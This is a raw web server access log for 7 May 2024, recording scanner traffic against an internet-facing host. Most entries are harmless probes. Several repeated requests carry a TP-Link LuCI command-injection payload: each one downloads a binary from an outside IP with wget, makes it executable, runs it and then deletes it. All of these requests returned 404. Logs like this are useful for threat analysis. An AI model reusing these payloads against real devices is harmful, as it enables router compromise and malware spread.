45.142.182.70 - - [07/May/2024:01:31:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.14.226.142%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 162.142.125.8 - - [07/May/2024:02:03:32 +0200] "GET / HTTP/1.1" 404 952 162.142.125.8 - - [07/May/2024:02:03:36 +0200] "GET / HTTP/1.1" 404 952 195.1.144.107 - - [07/May/2024:02:12:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 952 107.170.192.22 - - [07/May/2024:02:46:47 +0200] "GET /manager/html HTTP/1.1" 401 1833 205.210.31.79 - - [07/May/2024:03:21:35 +0200] "GET / HTTP/1.0" 404 952 65.49.1.35 - - [07/May/2024:05:00:32 +0200] "GET / HTTP/1.1" 404 952 65.49.1.32 - - [07/May/2024:05:00:56 +0200] "GET /favicon.ico HTTP/1.1" 404 952 65.49.1.37 - - [07/May/2024:05:01:10 +0200] "GET /?format=json HTTP/1.1" 404 952 151.244.199.24 - - [07/May/2024:05:12:23 +0200] "GET / HTTP/1.1" 404 952 45.142.182.70 - - [07/May/2024:05:21:21 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.87.154.160%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 23.90.165.142 - - [07/May/2024:05:41:19 +0200] "GET / HTTP/1.1" 404 952 195.1.144.107 - - [07/May/2024:05:55:20 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://45.87.154.160/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 952 197.49.50.4 - - [07/May/2024:07:44:02 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 952 146.19.24.28 - - [07/May/2024:09:11:44 +0200] "GET / HTTP/1.1" 404 952 183.160.195.148 - - [07/May/2024:09:14:29 +0200] "GET / HTTP/1.1" 404 952 60.16.208.246 - - [07/May/2024:09:14:39 +0200] "GET / HTTP/1.1" 404 952 167.99.13.19 - - [07/May/2024:10:26:20 +0200] "GET /aaa9 HTTP/1.1" 404 952 167.99.13.19 - - [07/May/2024:10:26:20 +0200] "GET /aab8 HTTP/1.1" 404 952 167.99.13.19 - - [07/May/2024:10:26:20 +0200] "GET / HTTP/1.1" 404 952 207.154.219.166 - - [07/May/2024:10:48:47 +0200] "GET / HTTP/1.0" 404 952 46.101.123.227 - - [07/May/2024:10:48:47 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952 157.230.30.241 - - [07/May/2024:10:48:47 +0200] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 952 178.128.197.147 - - [07/May/2024:10:48:47 +0200] "GET /v2/_catalog HTTP/1.1" 404 952 195.1.144.107 - - [07/May/2024:10:56:48 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://45.87.154.160/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 952 104.199.31.214 - - [07/May/2024:11:01:56 +0200] "GET / HTTP/1.1" 404 952 78.108.177.54 - - [07/May/2024:11:38:42 +0200] "GET / HTTP/1.0" 404 952 45.142.182.70 - - [07/May/2024:11:39:59 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.87.154.160%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 103.149.26.239 - - [07/May/2024:11:40:13 +0200] "GET / HTTP/1.1" 404 952 83.97.73.245 - - [07/May/2024:11:59:30 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 34.77.126.178 - - [07/May/2024:12:07:49 +0200] "GET / HTTP/1.1" 404 952 83.97.73.245 - - [07/May/2024:12:20:35 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 10.128.0.65 - - [07/May/2024:12:50:01 +0200] "GET / HTTP/1.1" 404 952 183.81.169.139 - - [07/May/2024:13:56:16 +0200] "POST /goform/sysTools HTTP/1.1" 404 952 179.43.188.106 - - [07/May/2024:14:01:21 +0200] "GET / HTTP/1.1" 404 952 192.241.226.36 - - [07/May/2024:14:32:34 +0200] "GET / HTTP/1.1" 404 952 185.191.126.213 - - [07/May/2024:15:28:03 +0200] "GET / HTTP/1.1" 404 952 195.1.144.109 - - [07/May/2024:15:32:48 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.87.154.160%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 146.19.24.28 - - [07/May/2024:16:18:00 +0200] "GET / HTTP/1.1" 404 952 198.199.114.88 - - [07/May/2024:16:22:16 +0200] "GET / HTTP/1.1" 404 952 45.156.128.45 - - [07/May/2024:16:43:26 +0200] "GET / HTTP/1.1" 404 952 118.40.165.223 - - [07/May/2024:17:05:54 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 195.1.144.107 - - [07/May/2024:17:16:06 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.87.154.160%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 212.57.109.75 - - [07/May/2024:17:40:14 +0200] "GET / HTTP/1.1" 404 952 185.16.38.111 - - [07/May/2024:17:59:09 +0200] "GET / HTTP/1.1" 404 952 202.46.226.72 - - [07/May/2024:18:06:50 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 179.43.188.106 - - [07/May/2024:18:35:50 +0200] "GET / HTTP/1.1" 404 952 84.54.51.13 - - [07/May/2024:18:55:51 +0200] "POST /login HTTP/1.1" 404 952 179.43.188.106 - - [07/May/2024:20:00:25 +0200] "GET / HTTP/1.1" 404 952 125.44.35.142 - - [07/May/2024:20:29:33 +0200] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 952 183.81.169.139 - - [07/May/2024:21:31:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F146.196.67.240%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 80.117.202.64 - - [07/May/2024:21:37:48 +0200] "GET / HTTP/1.0" 404 952 179.43.188.106 - - [07/May/2024:21:58:05 +0200] "GET / HTTP/1.1" 404 952 212.126.117.254 - - [07/May/2024:23:21:52 +0200] "GET / HTTP/1.1" 404 952 195.1.144.107 - - [07/May/2024:23:27:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F146.196.67.240%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 78.108.177.54 - - [07/May/2024:23:41:14 +0200] "GET / HTTP/1.0" 404 952 142.93.105.179 - - [07/May/2024:23:51:40 +0200] "GET /solr/admin/info/system HTTP/1.1" 404 952 142.93.105.179 - - [07/May/2024:23:51:40 +0200] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 952